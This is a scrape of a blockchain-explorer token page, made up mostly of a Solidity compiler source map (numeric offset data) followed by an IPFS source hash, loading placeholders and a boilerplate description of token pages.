:10;:8;:10::i;:::-;14869:32;;14913:15;14930:23;14955:12;14984:46;14996:7;15005:4;15011:5;15018:11;14984;:46::i;:::-;14912:118;;-1:-1:-1;14912:118:0;-1:-1:-1;14912:118:0;-1:-1:-1;15084:15:0;;-1:-1:-1;15101:4:0;;-1:-1:-1;15107:5:0;;-1:-1:-1;;;;;14503:618:0;;;;;;;:::o;2319:136::-;2377:7;2404:43;2408:1;2411;2404:43;;;;;;;;;;;;;;;;;:3;:43::i;2131:179::-;2189:7;;2221:5;2225:1;2221;:5;:::i;:::-;2209:17;;2250:1;2245;:6;;2237:46;;;;-1:-1:-1;;;2237:46:0;;10715:2:1;2237:46:0;;;10697:21:1;10754:2;10734:18;;;10727:30;10793:29;10773:18;;;10766:57;10840:18;;2237:46:0;10513:351:1;14089:211:0;14142:19;14164:10;:8;:10::i;:::-;14142:32;-1:-1:-1;14185:13:0;14201:22;:5;14142:32;14201:9;:22::i;:::-;14275:4;14259:22;;;;:7;:22;;;;;;14185:38;;-1:-1:-1;14259:33:0;;14185:38;14259:26;:33::i;:::-;14250:4;14234:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;14089:211:0:o;14309:147::-;14387:7;;:17;;14399:4;14387:11;:17::i;:::-;14377:7;:27;14428:10;;:20;;14443:4;14428:14;:20::i;:::-;14415:10;:33;-1:-1:-1;;14309:147:0:o;15130:472::-;15299:7;;;;15393:30;15419:3;15393:21;:7;15405:8;15393:11;:21::i;:::-;:25;;:30::i;:::-;15378:45;-1:-1:-1;15434:13:0;15450:28;15474:3;15450:19;:7;15462:6;15450:11;:19::i;:28::-;15434:44;-1:-1:-1;15489:23:0;15515:28;15434:44;15515:17;:7;15527:4;15515:11;:17::i;:::-;:21;;:28::i;:::-;15489:54;15582:4;;-1:-1:-1;15588:5:0;;-1:-1:-1;15130:472:0;;-1:-1:-1;;;;;15130:472:0:o;16308:164::-;16350:7;16371:15;16388;16407:16;:14;:16::i;:::-;16370:53;;-1:-1:-1;16370:53:0;-1:-1:-1;16444:20:0;16370:53;;16444:11;:20::i;:::-;16437:27;;;;16308:164;:::o;15762:537::-;15956:7;;;;16053:24;:7;16065:11;16053;:24::i;:::-;16035:42;-1:-1:-1;16088:12:0;16103:21;:4;16112:11;16103:8;:21::i;:::-;16088:36;-1:-1:-1;16135:13:0;16151:22;:5;16161:11;16151:9;:22::i;:::-;16135:38;-1:-1:-1;16184:23:0;16210:28;16135:38;16210:17;:7;16222:4;16210:11;:17::i;:28::-;16260:7;;;;-1:-1:-1;16286:4:0;;-1:-1:-1;15762:537:0;;-1:-1:-1;;;;;;;15762:537:0:o;16487:257::-;16582:7;;16535;;;;4817:15;16650:20;16582:7;4817:15;16650:11;:20::i;:::-;16640:7;:30;16636:61;;;-1:-1:-1;;16680:7:0;;;4817:15;;-1:-1:-1;16487:257:0;-1:-1:-1;16487:257:0:o;16636:61::-;16719:7;;16728;;-1:-1:-1;16487:257:0;-1:-1:-1;16487:257:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:247;762:6;815:2;803:9;794:7;790:23;786:32;783:52;;;831:1;828;821:12;783:52;870:9;857:23;889:31;914:5;889:31;:::i;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1883:456::-;1960:6;1968;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;:::-;2153:5;-1:-1:-1;2210:2:1;2195:18;;2182:32;2223:33;2182:32;2223:33;:::i;:::-;1883:456;;2275:7;;-1:-1:-1;;;2329:2:1;2314:18;;;;2301:32;;1883:456::o;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;4191:127::-;4252:10;4247:3;4243:20;4240:1;4233:31;4283:4;4280:1;4273:15;4307:4;4304:1;4297:15;4323:168;4396:9;;;4427;;4444:15;;;4438:22;;4424:37;4414:71;;4465:18;;:::i;4496:217::-;4536:1;4562;4552:132;;4606:10;4601:3;4597:20;4594:1;4587:31;4641:4;4638:1;4631:15;4669:4;4666:1;4659:15;4552:132;-1:-1:-1;4698:9:1;;4496:217::o;8341:125::-;8406:9;;;8427:10;;;8424:36;;;8440:18;;:::i;8875:128::-;8942:9;;;8963:11;;;8960:37;;;8977:18;;:::i;9140:127::-;9201:10;9196:3;9192:20;9189:1;9182:31;9232:4;9229:1;9222:15;9256:4;9253:1;9246:15;9272:251;9342:6;9395:2;9383:9;9374:7;9370:23;9366:32;9363:52;;;9411:1;9408;9401:12;9363:52;9443:9;9437:16;9462:31;9487:5;9462:31;:::i;9528:980::-;9790:4;9838:3;9827:9;9823:19;9869:6;9858:9;9851:25;9895:2;9933:6;9928:2;9917:9;9913:18;9906:34;9976:3;9971:2;9960:9;9956:18;9949:31;10000:6;10035;10029:13;10066:6;10058;10051:22;10104:3;10093:9;10089:19;10082:26;;10143:2;10135:6;10131:15;10117:29;;10164:1;10174:195;10188:6;10185:1;10182:13;10174:195;;;10253:13;;-1:-1:-1;;;;;10249:39:1;10237:52;;10344:15;;;;10309:12;;;;10285:1;10203:9;10174:195;;;-1:-1:-1;;;;;;;10425:32:1;;;;10420:2;10405:18;;10398:60;-1:-1:-1;;;10489:3:1;10474:19;10467:35;10386:3;9528:980;-1:-1:-1;;;9528:980:1:o

Swarm Source

ipfs://5f2f99eb54ff49e549959646eb8da772fcb2b093a5e909aa377a0177858c35e7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.